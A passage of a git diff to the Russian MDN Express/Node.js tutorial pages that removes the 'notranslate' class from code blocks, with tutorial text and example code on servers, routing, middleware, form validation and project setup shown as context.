@@ -343,7 +343,7 @@ DEBUG=helloworld:* npm start <p><span class="tlid-translation translation" lang="ru"><span title="">Команда DEBUG создаёт полезное ведение журнала, что приводит к выводу, подобному показанному ниже.</span></span></p> -<pre class="brush: bash notranslate">>SET DEBUG=helloworld:* & npm start +<pre class="brush: bash">>SET DEBUG=helloworld:* & npm start > helloworld@0.0.0 start D:\Github\expresstests\helloworld > node ./bin/www diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/locallibrary_base_template/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/locallibrary_base_template/index.html index c8b39b2872..830c895bc8 100644 --- a/files/ru/learn/server-side/express_nodejs/displaying_data/locallibrary_base_template/index.html +++ b/files/ru/learn/server-side/express_nodejs/displaying_data/locallibrary_base_template/index.html @@ -7,7 +7,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/LocalLibrary_ba <p>Откройте файл <strong>/views/layout.pug </strong>и замените его содержимое следующим.</p> -<pre class="brush: html line-numbers language-html notranslate"><code class="language-html">doctype html +<pre class="brush: html line-numbers language-html"><code class="language-html">doctype html html(lang='en') head title= title @@ -53,7 +53,7 @@ html(lang='en') <p>Базовый шаблон также ссылается на локальный файл стилей (<strong>style.css</strong>), что обеспечивает дополнительное управление внешним видом. Откройте <strong>/public/stylesheets/style.css</strong> и замените его содержимое таким текстом:</p> -<pre class="brush: css line-numbers language-css notranslate"><code class="language-css"><span class="selector token"><span class="class token">.sidebar-nav</span> </span><span class="punctuation token">{</span> +<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="selector token"><span class="class token">.sidebar-nav</span> </span><span class="punctuation token">{</span> <span class="property token">margin-top</span><span class="punctuation token">:</span> <span class="number token">20</span>px<span class="punctuation token">;</span> <span class="property token">padding</span><span class="punctuation token">:</span> <span class="number token">0</span><span class="punctuation token">;</span> <span class="property token">list-style</span><span class="punctuation token">:</span> none<span class="punctuation token">;</span> diff --git a/files/ru/learn/server-side/express_nodejs/forms/index.html b/files/ru/learn/server-side/express_nodejs/forms/index.html index 1a6208f065..910f6a53ed 100644 --- a/files/ru/learn/server-side/express_nodejs/forms/index.html +++ b/files/ru/learn/server-side/express_nodejs/forms/index.html @@ -46,7 +46,7 @@ translation_of: Learn/Server-side/Express_Nodejs/forms <p>Определённые в HTML формы собираются внутри тэга <code><form>...</form></code>, содержащего хотя ы один элемент <code>input</code> с <code>type="submit"</code>.</p> -<pre class="brush: html notranslate"><form action="/team_name_url/" method="post"> +<pre class="brush: html"><form action="/team_name_url/" method="post"> <label for="team_name">Enter name: </label> <input id="team_name" type="text" name="name_field" value="Default name for team."> <input type="submit" value="OK"> @@ -108,7 +108,7 @@ translation_of: Learn/Server-side/Express_Nodejs/forms <p>Установите модуль, выполнив следующую команду в корне проекта</p> -<pre class="brush: bash notranslate">npm install express-validator +<pre class="brush: bash">npm install express-validator </pre> <h4 id="Использование_express-validator">Использование express-validator</h4> @@ -119,7 +119,7 @@ translation_of: Learn/Server-side/Express_Nodejs/forms <p>Для того, чтобы использовать валидатор в наших контроллерах, мы должны требовать функции, которые мы хотим использовать из модулей <strong>'express-validator/check</strong>' и <strong>'express-validator/filter</strong>', как показано ниже:</p> -<pre class="brush: js notranslate">const { body,validationResult } = require('express-validator/check'); +<pre class="brush: js">const { body,validationResult } = require('express-validator/check'); const { sanitizeBody } = require('express-validator/filter'); </pre> @@ -130,12 +130,12 @@ const { sanitizeBody } = require('express-validator/filter'); <ul> <li><code><a href="https://github.com/ctavan/express-validator#bodyfields-message">body(fields[, message])</a></code>: Задаёт набор полей в теле запроса (параметр <code>POST</code>) для проверки, а также необязательное сообщение об ошибке, которое может отображаться в случае сбоя тестов. Критерии проверки последовательно связаны с методом <code>body()</code>. Например, первая проверка ниже проверяет, что поле" имя "не пустое и задаёт сообщение об ошибке" пустое имя", если оно не пустое. Второй тест проверяет, что поле age является допустимой датой, и с помощью optional() указывает, что пустые и пустые строки не пройдут проверку. - <pre class="brush: js notranslate">body('name', 'Empty name').isLength({ min: 1 }), + <pre class="brush: js">body('name', 'Empty name').isLength({ min: 1 }), body('age', 'Invalid age').optional({ checkFalsy: true }).isISO8601(), </pre> Можно также последовательно подключить различные валидаторы и добавить сообщения, отображаемые при выполнении предыдущих валидаторов.</li> <li> - <pre class="brush: js notranslate">body('name').isLength({ min: 1 }).trim().withMessage('Name empty.') + <pre class="brush: js">body('name').isLength({ min: 1 }).trim().withMessage('Name empty.') .isAlpha().withMessage('Name must be alphabet letters.'), </pre> @@ -144,11 +144,11 @@ body('age', 'Invalid age').optional({ checkFalsy: true }).isISO8601(), </div> </li> <li><code><a href="https://github.com/ctavan/express-validator#sanitizebodyfields">sanitizeBody(fields)</a></code>: Задаёт поле тела для очистки. затем операции очистки последовательно соединяются с этим методом. Например, операция очистки <code>escape()</code>, описанная ниже, удаляет символы HTML из переменной name, которые могут использоваться в атаках сценариев между сайтами JavaScript. - <pre class="brush: js notranslate">sanitizeBody('name').trim().escape(), + <pre class="brush: js">sanitizeBody('name').trim().escape(), sanitizeBody('date').toDate(),</pre> </li> <li><code><a href="https://github.com/ctavan/express-validator#validationresultreq">validationResult(req)</a></code>: Запускает проверку, делая ошибки доступными в виде объекта результата проверки. Это вызывается в отдельном обратном вызове, как показано ниже: - <pre class="brush: js notranslate">(req, res, next) => { + <pre class="brush: js">(req, res, next) => { // Extract the validation errors from a request. const errors = validationResult(req); @@ -193,7 +193,7 @@ sanitizeBody('date').toDate(),</pre> <p>Мы уже создали маршруты для всех страниц создания нашей модели в <strong>/routes/catalog.js</strong> (in a <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/routes">previous tutorial</a>). Например, жанровые маршруты показаны ниже:</p> -<pre class="brush: js notranslate">// GET request for creating a Genre. NOTE This must come before route that displays Genre (uses id). +<pre class="brush: js">// GET request for creating a Genre. NOTE This must come before route that displays Genre (uses id). router.get('/genre/create', genre_controller.genre_create_get); // POST request for creating Genre. diff --git a/files/ru/learn/server-side/express_nodejs/introduction/index.html b/files/ru/learn/server-side/express_nodejs/introduction/index.html index 881a3c70d6..cbcafaa64a 100644 --- a/files/ru/learn/server-side/express_nodejs/introduction/index.html +++ b/files/ru/learn/server-side/express_nodejs/introduction/index.html @@ -46,13 +46,13 @@ translation_of: Learn/Server-side/Express_Nodejs/Introduction <li>Создайте папку, куда вы хотите сохранить программу, к примеру <code>test-node</code> и перейдите в неё с помощью следующей команды:</li> </ol> -<pre class="notranslate"><code>cd test-node</code></pre> +<pre><code>cd test-node</code></pre> <ol start="3"> <li>Используя любимый текстовый редактор, создайте файл <code>hello.js</code> и вставьте в него код:</li> </ol> -<pre class="brush: js notranslate">// Загружаем HTTP модуль +<pre class="brush: js">// Загружаем HTTP модуль const http = require("http"); const hostname = "127.0.0.1"; @@ -79,7 +79,7 @@ server.listen(port, hostname, () => { <li>Вернитесь в терминал и выполните следующую команду:</li> </ol> -<pre class="notranslate"><code>node hello.js</code></pre> +<pre><code>node hello.js</code></pre> <p>В итоге, перейдите по ссылке <code>http://localhost:8000</code> в вашем браузере; вы должны увидеть текст "<strong>Hello World</strong>" в верху слева на чистой странице.</p> @@ -144,7 +144,7 @@ server.listen(port, hostname, () => { <p><span class="tlid-translation translation" lang="ru"><span title="">Совет: Если у вас уже установлены Node и Express (или если вы устанавливаете их, как показано в следующей статье), вы можете сохранить этот код в файле с именем app.js и запустить его в командной строке, вызвав узел app.js.</span> <span title="">отражения</span><span title="">)</span><span title="">.</span></span></p> </div> -<pre class="brush: js notranslate">var express = require('express'); +<pre class="brush: js">var express = require('express'); var app = express(); <strong>app.get('/', function(req, res) { @@ -168,7 +168,7 @@ app.listen(3000, function() { <br> <span title="">Приведённый ниже код показывает, как мы импортируем модуль по имени, используя в качестве примера платформу Express.</span> <span title="">Сначала мы вызываем функцию require (), определяя имя модуля в виде строки («express») и вызывая возвращённый объект для создания приложения Express.</span> <span title="">Затем мы можем получить доступ к свойствам и функциям объекта приложения.</span></span></p> -<pre class="brush: js notranslate">var express = require('express'); +<pre class="brush: js">var express = require('express'); var app = express(); </pre> @@ -180,13 +180,13 @@ var app = express(); <p><span class="tlid-translation translation" lang="ru"><span title="">Чтобы сделать объекты доступными вне модуля, вам просто нужно назначить их объекту экспорта.</span> <span title="">Например, модуль square.js ниже представляет собой файл, который экспортирует методы area () и perimeter ():</span></span></p> -<pre class="brush: js notranslate">exports.area = function(width) { return width * width; }; +<pre class="brush: js">exports.area = function(width) { return width * width; }; exports.perimeter = function(width) { return 4 * width; }; </pre> <p><span class="tlid-translation translation" lang="ru"><span title="">Мы можем импортировать этот модуль, используя require (), а затем вызвать экспортированные методы, как показано:</span></span></p> -<pre class="brush: js notranslate">var square = require('./square'); // Here we require() the name of the file without the (optional) .js file extension +<pre class="brush: js">var square = require('./square'); // Here we require() the name of the file without the (optional) .js file extension console.log('The area of a square with a width of 4 is ' + square.area(4));</pre> <div class="note"> @@ -195,7 +195,7 @@ console.log('The area of a square with a width of 4 is ' + square.area(4));</pre <p><span class="tlid-translation translation" lang="ru"><span title="">Если вы хотите экспортировать полный объект в одном назначении, а не создавать его по одному свойству за раз, назначьте его для module.exports, как показано ниже (вы также можете сделать это, чтобы сделать корень объекта экспорта конструктором или другой функцией)</span> <span title="">:</span></span></p> -<pre class="brush: js notranslate">module.exports = { +<pre class="brush: js">module.exports = { area: function(width) { return width * width; }, @@ -212,13 +212,13 @@ console.log('The area of a square with a width of 4 is ' + square.area(4));</pre <p><span class="tlid-translation translation" lang="ru"><span title="">Код JavaScript часто использует асинхронные, а не синхронные API для операций, выполнение которых может занять некоторое время.</span> <span title="">Синхронный API - это тот, в котором каждая операция должна завершиться до начала следующей операции.</span> <span title="">Например, следующие функции журнала являются синхронными и выводят текст на консоль по порядку (первый, второй).</span></span></p> -<pre class="brush: js notranslate">console.log('First'); +<pre class="brush: js">console.log('First'); console.log('Second'); </pre> <p><span class="tlid-translation translation" lang="ru"><span title="">В отличие от этого, асинхронный API - это тот, в котором API начнёт операцию и сразу же вернётся (до завершения операции).</span> <span title="">После завершения операции API будет использовать некоторый механизм для выполнения дополнительных операций.</span> <span title="">Например, приведённый ниже код выведет «Second, First», потому что хотя метод setTimeout () вызывается первым и возвращается немедленно, операция не завершается в течение нескольких секунд.</span></span></p> -<pre class="brush: js notranslate">setTimeout(function() { +<pre class="brush: js">setTimeout(function() { console.log('First'); }, 3000); console.log('Second'); @@ -240,7 +240,7 @@ console.log('Second'); <p><span class="tlid-translation translation" lang="ru"><span title="">В нашем примере Hello World Express (см. Выше) мы определили функцию обработчика маршрута (колбэка) для HTTP-запросов GET к корню сайта ('/').</span></span></p> -<pre class="brush: js notranslate">app.<strong>get</strong>('/', function(req, res) { +<pre class="brush: js">app.<strong>get</strong>('/', function(req, res) { res.send('Hello World!'); }); </pre> @@ -255,7 +255,7 @@ console.log('Second'); <p><span class="tlid-translation translation" lang="ru"><span title="">Существует специальный метод маршрутизации app.all (), который будет вызываться в ответ на любой метод HTTP.</span> <span title="">Это используется для загрузки функций промежуточного программного обеспечения по определённому пути для всех методов запроса.</span> <span title="">В следующем примере (из документации Express) показан обработчик, который будет выполняться для запросов к / secret независимо от используемого глагола HTTP (при условии, что он поддерживается модулем http).</span></span></p> -<pre class="brush: js notranslate">app.all('/secret', function(req, res, next) { +<pre class="brush: js">app.all('/secret', function(req, res, next) { console.log('Accessing the secret section ...'); next(); // pass control to the next handler });</pre> @@ -264,7 +264,7 @@ console.log('Second'); <br> <span title="">Часто полезно группировать обработчики маршрутов для определённой части сайта и получать к ним доступ с помощью общего префикса маршрута (например, сайт с вики может иметь все связанные с вики маршруты в одном файле и иметь к ним доступ с префиксом маршрута</span> <span title="">из / вики /).</span> <span title="">В Express это достигается с помощью объекта express.Router.</span> <span title="">Например, мы можем создать наш вики-маршрут в модуле с именем wiki.js, а затем экспортировать объект Router, как показано ниже:</span></span></p> -<pre class="brush: js notranslate">// wiki.js - Wiki route module +<pre class="brush: js">// wiki.js - Wiki route module var express = require('express'); var router = express.Router(); @@ -288,7 +288,7 @@ module.exports = router; <p><span class="tlid-translation translation" lang="ru"><span title="">Чтобы использовать маршрутизатор в нашем главном файле приложения, нам потребуется () модуль route (wiki.js), а затем вызовите use () в приложении Express, чтобы добавить маршрутизатор в путь обработки промежуточного программного обеспечения.</span> <span title="">Эти два маршрута будут доступны из / wiki / и / wiki / about /.</span></span></p> -<pre class="brush: js notranslate">var wiki = require('./wiki.js'); +<pre class="brush: js">var wiki = require('./wiki.js'); // ... app.use('/wiki', wiki);</pre> @@ -306,12 +306,12 @@ app.use('/wiki', wiki);</pre> <br> <span title="">Для использования стороннего промежуточного программного обеспечения сначала необходимо установить его в своё приложение с помощью NPM.</span> <span title="">Например, чтобы установить промежуточное программное обеспечение средства регистрации HTTP-запросов morgan, вы должны сделать следующее:</span></span></p> -<pre class="brush: bash notranslate"><code>$ npm install morgan +<pre class="brush: bash"><code>$ npm install morgan </code></pre> <p><span class="tlid-translation translation" lang="ru"><span title="">Затем вы можете вызвать use () для объекта приложения Express, чтобы добавить промежуточное программное обеспечение в стек:</span></span></p> -<pre class="brush: js notranslate">var express = require('express'); +<pre class="brush: js">var express = require('express'); <strong>var logger = require('morgan');</strong> var app = express(); <strong>app.use(logger('dev'));</strong> @@ -327,7 +327,7 @@ var app = express(); <br> <span title="">В приведённом ниже примере показано, как можно добавить функцию промежуточного программного обеспечения, используя оба метода, а также с / без маршрута.</span></span></p> -<pre class="brush: js notranslate">var express = require('express'); +<pre class="brush: js">var express = require('express'); var app = express(); // An example middleware function @@ -357,12 +357,12 @@ app.listen(3000);</pre> <p><span class="tlid-translation translation" lang="ru"><span title="">Вы можете использовать промежуточное программное обеспечение express.static для обслуживания статических файлов, включая ваши изображения, CSS и JavaScript (static () - единственная функция промежуточного программного обеспечения, которая фактически является частью Express).</span> <span title="">Например, вы должны использовать строку ниже для обслуживания изображений, файлов CSS и файлов JavaScript из каталога с именем public на том же уровне, где вы вызываете узел:</span></span></p> -<pre class="brush: js notranslate">app.use(express.static('public')); +<pre class="brush: js">app.use(express.static('public')); </pre> <p><span class="tlid-translation translation" lang="ru"><span title="">Любые файлы в публичном каталоге обслуживаются путём добавления их имени файла (относительно базового «публичного» каталога) к базовому URL.</span> <span title="">Так, например:</span></span></p> -<pre class="notranslate"><code>http://localhost:3000/images/dog.jpg +<pre><code>http://localhost:3000/images/dog.jpg http://localhost:3000/css/style.css http://localhost:3000/js/app.js http://localhost:3000/about.html @@ -370,18 +370,18 @@ http://localhost:3000/about.html <p><span class="tlid-translation translation" lang="ru"><span title="">Вы можете вызывать static () несколько раз для обслуживания нескольких каталогов.</span> <span title="">Если файл не может быть найден одной функцией промежуточного программного обеспечения, он будет просто передан последующему промежуточному программному обеспечению (порядок вызова промежуточного программного обеспечения основан на вашем порядке объявления).</span></span></p> -<pre class="brush: js notranslate">app.use(express.static('public')); +<pre class="brush: js">app.use(express.static('public')); app.use(express.static('media')); </pre> <p><span class="tlid-translation translation" lang="ru"><span title="">Вы также можете создать виртуальный префикс для ваших статических URL-адресов, вместо добавления файлов к базовому URL-адресу.</span> <span title="">Например, здесь мы указываем путь монтирования, чтобы файлы загружались с префиксом "/ media":</span></span></p> -<pre class="brush: js notranslate">app.use('/media', express.static('public')); +<pre class="brush: js">app.use('/media', express.static('public')); </pre> <p><span class="tlid-translation translation" lang="ru"><span title="">Теперь вы можете загружать файлы, находящиеся в публичном каталоге, из префикса / media path.</span></span></p> -<pre class="notranslate"><code>http://localhost:3000/media/images/dog.jpg +<pre><code>http://localhost:3000/media/images/dog.jpg http://localhost:3000/media/video/cat.mp4 http://localhost:3000/media/cry.mp3</code> </pre> @@ -392,7 +392,7 @@ http://localhost:3000/media/cry.mp3</code> <p><span class="tlid-translation translation" lang="ru"><span title="">Ошибки обрабатываются одной или несколькими специальными функциями промежуточного программного обеспечения, которые имеют четыре аргумента вместо обычных трёх: (err, req, res, next).</span> <span title="">Например:</span></span></p> -<pre class="brush: js notranslate">app.use(function(err, req, res, next) { +<pre class="brush: js">app.use(function(err, req, res, next) { console.error(err.stack); res.status(500).send('Something broke!'); }); @@ -418,12 +418,12 @@ http://localhost:3000/media/cry.mp3</code> <br> <span title="">Чтобы использовать их, вы должны сначала установить драйвер базы данных, используя NPM.</span> <span title="">Например, чтобы установить драйвер для популярной NoSQL MongoDB, вы должны использовать команду:</span></span></p> -<pre class="brush: bash notranslate"><code>$ npm install mongodb +<pre class="brush: bash"><code>$ npm install mongodb </code></pre> <p><span class="tlid-translation translation" lang="ru"><span title="">Сама база данных может быть установлена локально или на облачном сервере.</span> <span title="">В вашем экспресс-коде вам требуется драйвер, подключиться к базе данных, а затем выполнить операции создания, чтения, обновления и удаления (CRUD).</span> <span title="">Пример ниже (из документации Express) показывает, как вы можете найти записи «млекопитающих», используя MongoDB.</span></span></p> -<pre class="brush: js notranslate">var MongoClient = require('mongodb').MongoClient; +<pre class="brush: js">var MongoClient = require('mongodb').MongoClient; MongoClient.connect('mongodb://localhost:27017/animals', function(err, db) { if (err) throw err; @@ -445,7 +445,7 @@ MongoClient.connect('mongodb://localhost:27017/animals', function(err, db) { <br> <span title="">В своём коде настроек приложения вы задаёте механизм шаблонов для использования и место, где Express должен искать шаблоны, используя настройки «views» и «engine», как показано ниже (вам также нужно будет установить пакет, содержащий вашу библиотеку шаблонов).</span> <span title="">!</span><span title="">)</span></span></p> -<pre class="brush: js notranslate">var express = require('express'); +<pre class="brush: js">var express = require('express'); var app = express(); // Set directory to contain the templates ('views') @@ -457,7 +457,7 @@ app.set('view engine', 'some_template_engine_name'); <p><span class="tlid-translation translation" lang="ru"><span title="">Внешний вид шаблона будет зависеть от того, какой движок вы используете.</span> <span title="">Предполагая, что у вас есть файл шаблона с именем «index. <Template_extension>», который содержит заполнители для переменных данных с именами «title» и «message», вы должны вызвать Response.render () в функции обработчика маршрута для создания и отправки ответа HTML.</span> <span title="">:</span></span></p> -<pre class="brush: js notranslate">app.get('/', function(req, res) { +<pre class="brush: js">app.get('/', function(req, res) { res.render('index', { title: 'About dogs', message: 'Dogs rock!' }); });</pre> diff --git a/files/ru/learn/server-side/express_nodejs/skeleton_website/index.html b/files/ru/learn/server-side/express_nodejs/skeleton_website/index.html index f1c993e54d..90ec704439 100644 --- a/files/ru/learn/server-side/express_nodejs/skeleton_website/index.html +++ b/files/ru/learn/server-side/express_nodejs/skeleton_website/index.html @@ -36,12 +36,12 @@ translation_of: Learn/Server-side/Express_Nodejs/skeleton_website <p>Вы уже должны были установить <code>express-generator</code>, читая статью <a>установка среды разработки Node</a>. Напомним, что генератор установлен с помощью менеджера пакетов NPM, при выполнении команды:</p> -<pre class="brush: bash notranslate"><code>npm install express-generator -g</code> +<pre class="brush: bash"><code>npm install express-generator -g</code> </pre> <p><code>E</code><code>xpress-generator </code>имеет ряд параметров, которые можно увидеть, выполнив команду express --help (или express -h):</p> -<pre class="brush: bash notranslate">> express --help +<pre class="brush: bash">> express --help Usage: express [options] [dir] @@ -63,7 +63,7 @@ translation_of: Learn/Server-side/Express_Nodejs/skeleton_website <p>Команда <code>express</code> создаст проект в <em>текущем</em> каталоге с использованием (устаревшего) движка представления <em>Jade</em> и обычного CSS. Если указать <font face="Courier New, monospace">express </font><font face="Courier New, monospace">name</font>, проект будет создан в подкаталоге name текущего каталога. </p> -<pre class="brush: bash notranslate"><code>express</code></pre> +<pre class="brush: bash"><code>express</code></pre> <p>Можно выбрать движок представления (шаблон), используя --<code>view; </code><code><font face="Times New Roman, serif">параметр</font></code><code> --</code><code>css </code> позволяет выбрать движок для создания CSS.</p> @@ -127,12 +127,12 @@ translation_of: Learn/Server-side/Express_Nodejs/skeleton_website <p>Выберем место для нового проекта — каталог <font face="Courier New, monospace">express-locallibrary-tutorial - </font><font face="Times New Roman, serif">и выполним</font><font face="Courier New, monospace"> </font>команду:</p> -<pre class="brush: bash notranslate">express express-locallibrary-tutorial --view=pug +<pre class="brush: bash">express express-locallibrary-tutorial --view=pug </pre> <p>Будет создан каталог <font face="Courier New, monospace">express-locallibrary-tutorial </font><font face="Times New Roman, serif">и выведен список созданных внутри каталога проектных файлов</font>.</p> -<pre class="brush: bash notranslate"> create : express-locallibrary-tutorial +<pre class="brush: bash"> create : express-locallibrary-tutorial create : express-locallibrary-tutorial/package.json create : express-locallibrary-tutorial/app.js create : express-locallibrary-tutorial/public/images @@ -169,16 +169,16 @@ translation_of: Learn/Server-side/Express_Nodejs/skeleton_website <ol> <li>Прежде всего установим зависимости (команда <code>install</code> запросит все пакеты зависимостей, указанные в файле<strong> package.json</strong>). - <pre class="brush: bash notranslate">cd express-locallibrary-tutorial + <pre class="brush: bash">cd express-locallibrary-tutorial npm install</pre> </li> <li>Затем запустим приложение. <ul> <li>В Windows используйте команду: - <pre class="brush: bash notranslate">SET DEBUG=express-locallibrary-tutorial:* & npm start</pre> + <pre class="brush: bash">SET DEBUG=express-locallibrary-tutorial:* & npm start</pre> </li> <li>В Mac OS X или Linux используйте команду: - <pre class="brush: bash notranslate">DEBUG=express-locallibrary-tutorial:* npm start + <pre class="brush: bash">DEBUG=express-locallibrary-tutorial:* npm start </pre> </li> </ul> @@ -193,7 +193,7 @@ npm install</pre> <div class="note"> <p><strong>Примечание:</strong> Можно также запустить приложение командой <code>npm start</code>. Переменная DEBUG, указанная в примере, включает логирование в консоль для дальнейшей отладки. Так, при посещении страницы веб-приложения, вы увидите похожий вывод в консоль:</p> -<pre class="brush: bash notranslate">>SET DEBUG=express-locallibrary-tutorial:* & npm start +<pre class="brush: bash">>SET DEBUG=express-locallibrary-tutorial:* & npm start > express-locallibrary-tutorial@0.0.0 start D:\express-locallibrary-tutorial > node ./bin/www @@ -212,7 +212,7 @@ GET /favicon.ico 404 34.134 ms - 1335</pre> <p>Одно из самых простых средств для этого --<br> <a href="https://github.com/remy/nodemon">nodemon</a>. Его обычно устанавливают глобально (так как это "инструмент"), но сейчас мы установим его и будем применять локально как зависимость разработки, так что любые разработчики проекта получат его автоматически при установке приложения. Выполним следующую команду (предполагаем, что мы находимся в корневом каталоге):</p> -<pre class="brush: bash notranslate">npm install --save-dev nodemon</pre> +<pre class="brush: bash">npm install --save-dev nodemon</pre> @@ -220,20 +220,20 @@ GET /favicon.ico 404 34.134 ms - 1335</pre> -<pre class="notranslate"><code><font color="#333333"><font face="Consolas, Monaco, Andale Mono, Ubuntu Mono, monospace"><font size="3">npm install -g nodemon</font></font></font></code></pre> +<pre><code><font color="#333333"><font face="Consolas, Monaco, Andale Mono, Ubuntu Mono, monospace"><font size="3">npm install -g nodemon</font></font></font></code></pre> <p>В файле <strong>package.json </strong>проекта появится новый раздел с этой зависимостью (на вашей машине номер версии nodemon может быть другим) :</p> -<pre class="brush: json notranslate"> "devDependencies": { +<pre class="brush: json"> "devDependencies": { "nodemon": "^1.11.0" } </pre> <p>Поскольку nodemon не установлен глобально, его нельзя запустить из командной строки (пока мы не добавим его в путь), но его можно вызвать из сценария NPM, так как NPM знает все об установленных пакетах. Раздел <code>scripts</code> в файле package.json исходно будет содержать одну строку, которая начинается с <code>"start"</code>. Обновите его, поставив запятую в конце строки, и добавьте строку <code>"devstart",</code> показанную ниже:</p> -<pre class="brush: json notranslate"> "scripts": { +<pre class="brush: json"> "scripts": { "start": "node ./bin/www"<strong>,</strong> <strong> "devstart": "nodemon ./bin/www"</strong> }, @@ -245,13 +245,13 @@ GET /favicon.ico 404 34.134 ms - 1335</pre> <li>В Windows:</li> </ul> -<pre class="brush: bash notranslate">SET DEBUG=express-locallibrary-tutorial:* & npm <strong>run devstart</strong></pre> +<pre class="brush: bash">SET DEBUG=express-locallibrary-tutorial:* & npm <strong>run devstart</strong></pre> <ul> <li>Для macOS или Linux:</li> </ul> -<pre class="notranslate"><code>DEBUG=express-locallibrary-tutorial:* npm <strong>run devstart</strong></code></pre> +<pre><code>DEBUG=express-locallibrary-tutorial:* npm <strong>run devstart</strong></code></pre> <div class="note"> <p><strong>Примечание:</strong> Сейчас после изменения любого файла проекта сервер будет перезапускаться (или можно самостоятельно перезапустить его, введя <code>rs</code> в командной строке). Вам всё равно придётся обновить страницу в браузере .</p> @@ -267,7 +267,7 @@ GET /favicon.ico 404 34.134 ms - 1335</pre> <p>После установки зависимостей проект имеет такую структуру файлов (файлы - это элементы <strong>без </strong>префикса"/"). Файл <strong>package.json</strong> определяет имя файла с приложением, сценарии запуска, зависимости и др. Сценарий запуска задаёт точку входа приложения, у нас -- файл JavaScript <strong>/bin/www</strong>. Этот файл настраивает некоторые обработчики ошибок приложения, а затем загружает <strong>app.js </strong>для выполнения остальной работы. Пути приложения хранятся в отдельных модулях каталога <strong>routes/</strong>. Шаблоны хранятся в каталоге /<strong>views</strong>.</p> -<pre class="notranslate">/express-locallibrary-tutorial +<pre>/express-locallibrary-tutorial <strong>app.js</strong> /bin <strong>www</strong> @@ -295,7 +295,7 @@ GET /favicon.ico 404 34.134 ms - 1335</pre> <p>Файл <strong>package.json </strong>указывает зависимости приложения и содержит другие данные:</p> -<pre class="brush: json notranslate">{ +<pre class="brush: json">{ "name": "express-locallibrary-tutorial", "version": "0.0.0", "private": true, @@ -329,7 +329,7 @@ GET /favicon.ico 404 34.134 ms - 1335</pre> <p>Раздел "scripts" определяет скрипт" start", выполняемый при запуске сервера командой <code>npm start</code>. Можно видеть, что самом деле выполняется команда node <strong>./bin/www</strong>. Кроме того, определяется script "<em>devstart</em>", который вызывается командой <code>npm run devstart</code>. Запускается тот же файл <strong>./bin/www</strong> ,но командой <em>nodemon</em> вместо <em>node</em>.</p> -<pre class="notranslate"><code>"scripts": { +<pre><code>"scripts": { "start": "node ./bin/www", "devstart": "nodemon ./bin/www" },</code></pre> @@ -338,7 +338,7 @@ GET /favicon.ico 404 34.134 ms - 1335</pre> <p>Файл <strong>/bin/www</strong> – это входная точка приложения. Сначала в файле создаётся объект основного приложения, расположенного в app.js — выполняется app=<code>require(./</code><code>app</code><code>).</code></p> -<pre class="brush: js notranslate">#!/usr/bin/env node +<pre class="brush: js">#!/usr/bin/env node /** * Module dependencies. @@ -357,7 +357,7 @@ GET /favicon.ico 404 34.134 ms - 1335</pre> <p>Этот файл создаёт объект приложения <code>express </code>(с именем<code>app</code>, по соглашению), настраивает приложение и промежуточное ПО, а затем экспортирует приложение из модуля. В приведённом ниже коде показаны только те части файла, которые создают и экспортируют объект приложения:</p> -<pre class="brush: js notranslate"><code>var express = require('express'); +<pre class="brush: js"><code>var express = require('express'); var app = express(); ... </code>module.exports = app; @@ -367,7 +367,7 @@ var app = express(); <p>Рассмотрим детали файла app.js. Сначала при помощи require(...) выполняется импорт некоторых полезных библиотек node: <em>express,</em> s<em>erve-favicon</em>, <em>morgan</em>, <em>cookie-parse, body-parser </em>(они ранее были загружены для нашего приложения командой npm install), а также path из основной библиотеки node (применяется для разбора путей каталогов и файлов).</p> -<pre class="brush: js notranslate">var express = require('express'); +<pre class="brush: js">var express = require('express'); var path = require('path'); var favicon = require('serve-favicon'); var logger = require('morgan'); @@ -377,7 +377,7 @@ var bodyParser = require('body-parser'); <p>Затем require запрашивает модули из каталога путей route. Эти модули и файлы содержат код для обработки конкретного набора соответствующих путей (URL маршрутов). Если мы расширим каркас приложения, например, чтобы получить список книг библиотеки, нам следует добавить новый файл для обработки пути, связанного с книгами.</p> -<pre class="brush: js notranslate">var index = require('./routes/index'); +<pre class="brush: js">var index = require('./routes/index'); var users = require('./routes/users'); </pre> @@ -387,7 +387,7 @@ var users = require('./routes/users'); <p>Далее, импортированные модули express применяются для создания объекта app, который потом устанавливает движки-шаблоны представления. Установка движков состоит их двух частей. В первой мы задаём значение 'view', указывая папку, в которой будут размещаться шаблоны (у нас это /views). Во второй мы задаём значение движка 'view engine', указывая на библиотеку шаблона (у нас — "pug").</p> -<pre class="brush: js notranslate">var app = express(); +<pre class="brush: js">var app = express(); // view engine setup app.set('views', path.join(__dirname, 'views')); @@ -396,7 +396,7 @@ app.set('view engine', 'pug'); <p>Следующие строки вызывают app.use(...), чтобы добавить промежуточные (middleware) библиотеки в цепочку обработки запросов. Кроме сторонних библиотек, импортированных ранее, используем библиотеку Express.static, что позволит обрабатывать статические файлы из папки <strong>/public </strong>корня проекта.</p> -<pre class="brush: js notranslate">// uncomment after placing your favicon in /public +<pre class="brush: js">// uncomment after placing your favicon in /public //app.use(favicon(path.join(__dirname, 'public', 'favicon.ico'))); app.use(logger('dev')); app.use(bodyParser.json()); @@ -407,7 +407,7 @@ app.use(cookieParser()); <p>Теперь, когда промежуточные библиотеки настроены, мы добавляем (импортированный ранее) код обработки путей в цепочку обработки запросов. Импортированный код будет задавать отдельные пути для разных частей сайта:</p> -<pre class="brush: js notranslate">app.use('/', index); +<pre class="brush: js">app.use('/', index); app.use('/users', users); </pre> @@ -417,7 +417,7 @@ app.use('/users', users); <p>Последняя в файле промежуточная библиотека добавляет методы обработки ошибок и ответов 404 от HTTP.</p> -<pre class="brush: js notranslate">// catch 404 and forward to error handler +<pre class="brush: js">// catch 404 and forward to error handler app.use(function(req, res, next) { var err = new Error('Not Found'); err.status = 404; @@ -438,13 +438,13 @@ app.use(function(err, req, res, next) { <p>Объект app приложения Express теперь полностью настроен. Остался последний шаг - добавить его к экспортируемым элементам модуля (это позволит импортировать его в файле <strong>/bin/www</strong>).</p> -<pre class="brush: js notranslate">module.exports = app;</pre> +<pre class="brush: js">module.exports = app;</pre> <h3 id="Пути_Routes">Пути (Routes)</h3> <p>Файл путей /routes/users.js приведён ниже (файлы путей имеют сходную структуру, поэтому нет необходимости приводить также index.js). Сначала загружается модуль Express, затем он используется для получения объекта express.Router. После этого для этого объекта задаётся путь, и, наконец, объект-роутер экспортируется из модуля 